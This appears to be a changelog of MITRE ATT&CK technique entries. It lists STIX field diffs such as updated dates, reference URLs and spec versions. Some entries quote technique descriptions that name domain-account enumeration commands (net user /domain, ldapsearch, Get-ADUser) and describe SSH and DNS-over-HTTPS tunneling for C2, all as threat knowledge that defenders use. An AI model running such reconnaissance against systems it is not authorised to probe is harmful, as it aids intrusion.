| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1557.003] Adversary-in-the-Middle: DHCP Spoofing
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 15:18:16.023000+00:00 | 2024-09-12 19:46:04.759000+00:00 |
| external_references[5]['description'] | Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022. | Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024. |
| external_references[5]['url'] | https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/ | https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/ |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1001] Data Obfuscation
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-02 19:04:35.389000+00:00 | 2024-10-07 15:07:47.232000+00:00 |
[T1074] Data Staged
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-07-20 20:07:40.167000+00:00 | 2024-09-30 13:28:37.415000+00:00 |
| external_references[1]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1025] Data from Removable Media
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:17:35.218000+00:00 | 2024-10-15 16:30:50.936000+00:00 |
[T1610] Deploy Container
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 21:24:42.680000+00:00 | 2024-10-15 15:06:17.124000+00:00 |
[T1587] Develop Capabilities
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:07:08.768000+00:00 | 2024-10-15 16:31:17.270000+00:00 |
[T1588.004] Obtain Capabilities: Digital Certificates
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 17:44:09.486000+00:00 | 2024-09-16 16:19:41.567000+00:00 |
| external_references[4]['description'] | Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020. | Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024. |
| external_references[4]['url'] | https://www.recordedfuture.com/cobalt-strike-servers/ | https://www.recordedfuture.com/research/cobalt-strike-servers |
[T1562.004] Impair Defenses: Disable or Modify System Firewall
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-28 00:01:08.337000+00:00 | 2024-09-12 19:37:57.867000+00:00 |
| external_references[2]['description'] | The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved March 1, 2022. | The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved September 12, 2024. |
| external_references[2]['url'] | https://twitter.com/TheDFIRReport/status/1498657772254240768 | https://x.com/TheDFIRReport/status/1498657772254240768 |
[T1561.002] Disk Wipe: Disk Structure Wipe
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 19:38:24.089000+00:00 | 2024-10-15 16:32:05.064000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1087.002] Account Discovery: Domain Account
Current version: 1.2
|
|
|---|
| t | Adversaries may attempt to get a listing of domain accounts. | t | Adversaries may attempt to get a listing of domain accounts. |
| This information can help adversaries determine which domai | | This information can help adversaries determine which domai |
| n accounts exist to aid in follow-on behavior such as target | | n accounts exist to aid in follow-on behavior such as target |
| ing specific accounts which possess particular privileges. | | ing specific accounts which possess particular privileges. |
| Commands such as <code>net user /domain</code> and <code>net | | Commands such as <code>net user /domain</code> and <code>net |
| group /domain</code> of the [Net](https://attack.mitre.org/ | | group /domain</code> of the [Net](https://attack.mitre.org/ |
| software/S0039) utility, <code>dscacheutil -q group</code>on | | software/S0039) utility, <code>dscacheutil -q group</code> o |
| macOS, and <code>ldapsearch</code> on Linux can list domain | | n macOS, and <code>ldapsearch</code> on Linux can list domai |
| users and groups. [PowerShell](https://attack.mitre.org/tec | | n users and groups. [PowerShell](https://attack.mitre.org/te |
| hniques/T1059/001) cmdlets including <code>Get-ADUser</code> | | chniques/T1059/001) cmdlets including <code>Get-ADUser</code |
| and <code>Get-ADGroupMember</code> may enumerate members of | | > and <code>Get-ADGroupMember</code> may enumerate members o |
| Active Directory groups.(Citation: CrowdStrike StellarParti | | f Active Directory groups.(Citation: CrowdStrike StellarPart |
| cle January 2022) | | icle January 2022) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-15 21:33:57.732000+00:00 | 2024-05-31 04:00:37.651000+00:00 |
| description | Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) | Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) |
[T1589.003] Gather Victim Identity Information: Employee Names
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:27:49.437000+00:00 | 2024-09-16 16:09:45.795000+00:00 |
| external_references[1]['description'] | Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020. | Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024. |
| external_references[1]['url'] | https://www.opm.gov/cybersecurity/cybersecurity-incidents/ | https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/ |
[T1027.013] Obfuscated Files or Information: Encrypted/Encoded File
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 04:03:07.164000+00:00 | 2024-10-15 16:32:45.108000+00:00 |
[T1203] Exploitation for Client Execution
Current version: 1.4
New Mitigations:
New Detections:
- DS0022: File (File Modification)
- DS0029: Network Traffic (Network Traffic Flow)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-18 18:48:06.141000+00:00 | 2024-10-15 16:34:23.908000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Modification |
| x_mitre_data_sources | | Network Traffic: Network Traffic Flow |
[T1070.004] Indicator Removal: File Deletion
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-16 18:25:43.231000+00:00 | 2024-10-15 16:33:59.107000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1187] Forced Authentication
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-14 19:30:45.123000+00:00 | 2024-10-15 16:33:34.508000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1589] Gather Victim Identity Information
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 04:27:00.005000+00:00 | 2024-09-16 16:09:45.794000+00:00 |
| external_references[1]['description'] | Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020. | Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024. |
| external_references[1]['url'] | https://www.opm.gov/cybersecurity/cybersecurity-incidents/ | https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/ |
[T1484.001] Domain or Tenant Policy Modification: Group Policy Modification
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-01-06 12:44:15.707000+00:00 | 2024-09-23 22:11:01.884000+00:00 |
| external_references[5]['description'] | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024. |
| external_references[5]['url'] | http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ | https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/ |
| external_references[6]['description'] | Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019. | Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024. |
| external_references[6]['url'] | http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ | https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1027.006] Obfuscated Files or Information: HTML Smuggling
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-07-14 14:01:41.475000+00:00 | 2024-09-12 19:12:13.006000+00:00 |
| external_references[4]['description'] | Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021. | Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024. |
| external_references[4]['url'] | https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/ | https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1558.003] Steal or Forge Kerberos Tickets: Kerberoasting
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:46.538000+00:00 | 2024-09-23 22:20:10.994000+00:00 |
| external_references[7]['description'] | Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018. | Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024. |
| external_references[7]['url'] | https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ | https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1547.006] Boot or Logon Autostart Execution: Kernel Modules and Extensions
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-20 18:53:39.406000+00:00 | 2024-09-12 17:30:54.170000+00:00 |
| external_references[6]['description'] | Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018. | Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024. |
| external_references[6]['url'] | http://www.megasecurity.org/papers/Rootkits.pdf | https://www.megasecurity.org/papers/Rootkits.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1555.001] Credentials from Password Stores: Keychain
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-18 20:32:22.122000+00:00 | 2024-10-15 16:35:39.985000+00:00 |
| external_references[1]['description'] | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024. |
| external_references[1]['url'] | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way | https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1608.005] Stage Capabilities: Link Target
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-28 15:57:26.842000+00:00 | 2024-10-16 20:09:41.391000+00:00 |
| x_mitre_contributors[0] | Goldstein Menachem | Menachem Goldstein |
[T1078.003] Valid Accounts: Local Accounts
Current version: 1.4
New Mitigations:
- M1018: User Account Management
- M1032: Multi-factor Authentication
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-07-14 13:04:04.591000+00:00 | 2024-10-15 16:36:36.681000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1074.001] Data Staged: Local Data Staging
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-21 16:07:10.829000+00:00 | 2024-08-26 16:28:39.920000+00:00 |
| external_references[1]['url'] | https://www.prevailion.com/darkwatchman-new-fileless-techniques/ | https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/ |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1583.008] Acquire Infrastructure: Malvertising
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-17 15:32:39.470000+00:00 | 2024-10-16 20:10:08.246000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_contributors[1] | Goldstein Menachem | Menachem Goldstein |
[T1036] Masquerading
Current version: 1.7
New Mitigations:
- M1018: User Account Management
- M1047: Audit
New Detections:
- DS0002: User Account (User Account Creation)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-08 17:00:59.133000+00:00 | 2024-10-16 20:10:38.450000+00:00 |
| external_references[1]['description'] | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/ItsReallyNick/status/1055321652777619457 | https://x.com/ItsReallyNick/status/1055321652777619457 |
| x_mitre_contributors[6] | Goldstein Menachem | Menachem Goldstein |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | User Account: User Account Creation |
[T1036.005] Masquerading: Match Legitimate Name or Location
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-14 21:12:48.409000+00:00 | 2024-09-12 19:30:45.064000+00:00 |
| external_references[1]['description'] | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. | Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/ItsReallyNick/status/1055321652777619457 | https://x.com/ItsReallyNick/status/1055321652777619457 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1578] Modify Cloud Compute Infrastructure
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-05 20:45:22.041000+00:00 | 2024-09-30 13:28:37.414000+00:00 |
| external_references[1]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1111] Multi-Factor Authentication Interception
Current version: 2.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 23:26:24.262000+00:00 | 2024-10-15 16:37:20.612000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1564.004] Hide Artifacts: NTFS File Attributes
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-14 21:56:34.831000+00:00 | 2024-09-12 15:27:29.615000+00:00 |
| external_references[6]['description'] | Microsoft. (n.d.). File Streams. Retrieved December 2, 2014. | Microsoft. (n.d.). File Streams. Retrieved September 12, 2024. |
| external_references[6]['url'] | http://msdn.microsoft.com/en-us/library/aa364404 | https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams |
[T1106] Native API
Current version: 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-13 16:01:07.538000+00:00 | 2024-09-12 15:25:57.058000+00:00 |
| external_references[12]['description'] | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. | Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024. |
| external_references[12]['url'] | http://msdn.microsoft.com/en-us/library/ms682425 | https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa |
[T1584.008] Compromise Infrastructure: Network Devices
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 12:24:40.659000+00:00 | 2024-10-15 15:10:59.530000+00:00 |
[T1040] Network Sniffing
Current version: 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 12:32:44.370000+00:00 | 2024-10-15 15:11:55.217000+00:00 |
[T1571] Non-Standard Port
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-02-28 22:28:35.202000+00:00 | 2024-09-12 19:37:57.868000+00:00 |
| external_references[3]['description'] | The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved March 1, 2022. | The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved September 12, 2024. |
| external_references[3]['url'] | https://twitter.com/TheDFIRReport/status/1498657772254240768 | https://x.com/TheDFIRReport/status/1498657772254240768 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1003] OS Credential Dumping
Current version: 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-18 23:47:41.667000+00:00 | 2024-10-15 15:12:43.034000+00:00 |
[T1588] Obtain Capabilities
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 12:26:22.831000+00:00 | 2024-09-16 16:19:41.568000+00:00 |
| external_references[7]['description'] | Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020. | Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024. |
| external_references[7]['url'] | https://www.recordedfuture.com/cobalt-strike-servers/ | https://www.recordedfuture.com/research/cobalt-strike-servers |
[T1550.003] Use Alternate Authentication Material: Pass the Ticket
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:38.108000+00:00 | 2024-09-12 15:21:09.330000+00:00 |
| external_references[2]['description'] | Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016. | Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024. |
| external_references[2]['url'] | http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos | https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1574.008] Hijack Execution Flow: Path Interception by Search Order Hijacking
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:44.781000+00:00 | 2024-09-12 15:25:57.059000+00:00 |
| external_references[1]['description'] | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. | Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024. |
| external_references[1]['url'] | http://msdn.microsoft.com/en-us/library/ms682425 | https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa |
| external_references[3]['description'] | Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014. | Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/ms687393 | https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1598] Phishing for Information
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-08 20:28:49.600000+00:00 | 2024-05-31 04:18:44.570000+00:00 |
| external_references[1]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1547.010] Boot or Logon Autostart Execution: Port Monitors
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 02:49:39.980000+00:00 | 2024-09-12 15:26:17.886000+00:00 |
| external_references[2]['description'] | Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. | Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024. |
| external_references[2]['url'] | http://msdn.microsoft.com/en-us/library/dd183341 | https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor |
[T1653] Power Settings
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-30 21:28:45.038000+00:00 | 2024-10-16 20:11:40.334000+00:00 |
| x_mitre_contributors[0] | Goldstein Menachem | Menachem Goldstein |
[T1059.001] Command and Scripting Interpreter: PowerShell
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 18:01:37.575000+00:00 | 2024-10-15 16:39:13.228000+00:00 |
| external_references[4]['description'] | Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. | Haight, J. (2016, April 21). PS>Attack. Retrieved September 27, 2024. |
| external_references[4]['url'] | https://github.com/jaredhaight/PSAttack | https://github.com/Exploit-install/PSAttack-1 |
[T1003.007] OS Credential Dumping: Proc Filesystem
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-10 16:41:01.496000+00:00 | 2024-10-15 15:13:32.253000+00:00 |
[T1055.012] Process Injection: Process Hollowing
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-11 21:37:00.009000+00:00 | 2024-09-12 15:11:45.602000+00:00 |
| external_references[3]['description'] | Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014. | Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024. |
| external_references[3]['url'] | http://www.autosectools.com/process-hollowing.pdf | https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1572] Protocol Tunneling
Current version: 1.0
|
|
|---|
| t | Adversaries may tunnel network communications to and from a | t | Adversaries may tunnel network communications to and from a |
| victim system within a separate protocol to avoid detection/ | | victim system within a separate protocol to avoid detection/ |
| network filtering and/or enable access to otherwise unreacha | | network filtering and/or enable access to otherwise unreacha |
| ble systems. Tunneling involves explicitly encapsulating a p | | ble systems. Tunneling involves explicitly encapsulating a p |
| rotocol within another. This behavior may conceal malicious | | rotocol within another. This behavior may conceal malicious |
| traffic by blending in with existing traffic and/or provide | | traffic by blending in with existing traffic and/or provide |
| an outer layer of encryption (similar to a VPN). Tunneling c | | an outer layer of encryption (similar to a VPN). Tunneling c |
| ould also enable routing of network packets that would other | | ould also enable routing of network packets that would other |
| wise not reach their intended destination, such as SMB, RDP, | | wise not reach their intended destination, such as SMB, RDP, |
| or other traffic that would be filtered by network applianc | | or other traffic that would be filtered by network applianc |
| es or not routed over the Internet. There are various mean | | es or not routed over the Internet. There are various mean |
| s to encapsulate a protocol within another protocol. For exa | | s to encapsulate a protocol within another protocol. For exa |
| mple, adversaries may perform SSH tunneling (also known as S | | mple, adversaries may perform SSH tunneling (also known as S |
| SH port forwarding), which involves forwarding arbitrary dat | | SH port forwarding), which involves forwarding arbitrary dat |
| a over an encrypted SSH tunnel.(Citation: SSH Tunneling) [ | | a over an encrypted SSH tunnel.(Citation: SSH Tunneling) [ |
| Protocol Tunneling](https://attack.mitre.org/techniques/T157 | | Protocol Tunneling](https://attack.mitre.org/techniques/T157 |
| 2) may also be abused by adversaries during [Dynamic Resolut | | 2) may also be abused by adversaries during [Dynamic Resolut |
| ion](https://attack.mitre.org/techniques/T1568). Known as DN | | ion](https://attack.mitre.org/techniques/T1568). Known as DN |
| S over HTTPS (DoH), queries to resolve C2 infrastructure may | | S over HTTPS (DoH), queries to resolve C2 infrastructure may |
| be encapsulated within encrypted HTTPS packets.(Citation: B | | be encapsulated within encrypted HTTPS packets.(Citation: B |
| leepingComp Godlua JUL19) Adversaries may also leverage [P | | leepingComp Godlua JUL19) Adversaries may also leverage [P |
| rotocol Tunneling](https://attack.mitre.org/techniques/T1572 | | rotocol Tunneling](https://attack.mitre.org/techniques/T1572 |
| ) in conjunction with [Proxy](https://attack.mitre.org/techn | | ) in conjunction with [Proxy](https://attack.mitre.org/techn |
| iques/T1090) and/or [Protocol Impersonation](https://attack. | | iques/T1090) and/or [Protocol or Service Impersonation](http |
| mitre.org/techniques/T1001/003) to further conceal C2 commun | | s://attack.mitre.org/techniques/T1001/003) to further concea |
| ications and infrastructure. | | l C2 communications and infrastructure. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| description | Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)
[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)
Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. | Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)
[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)
Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. |
[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Current version: 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-16 09:08:22.319000+00:00 | 2024-09-12 15:27:58.051000+00:00 |
| external_references[3]['description'] | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/aa376977 | https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys |
[T1074.002] Data Staged: Remote Data Staging
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:02.019000+00:00 | 2024-09-30 13:28:37.414000+00:00 |
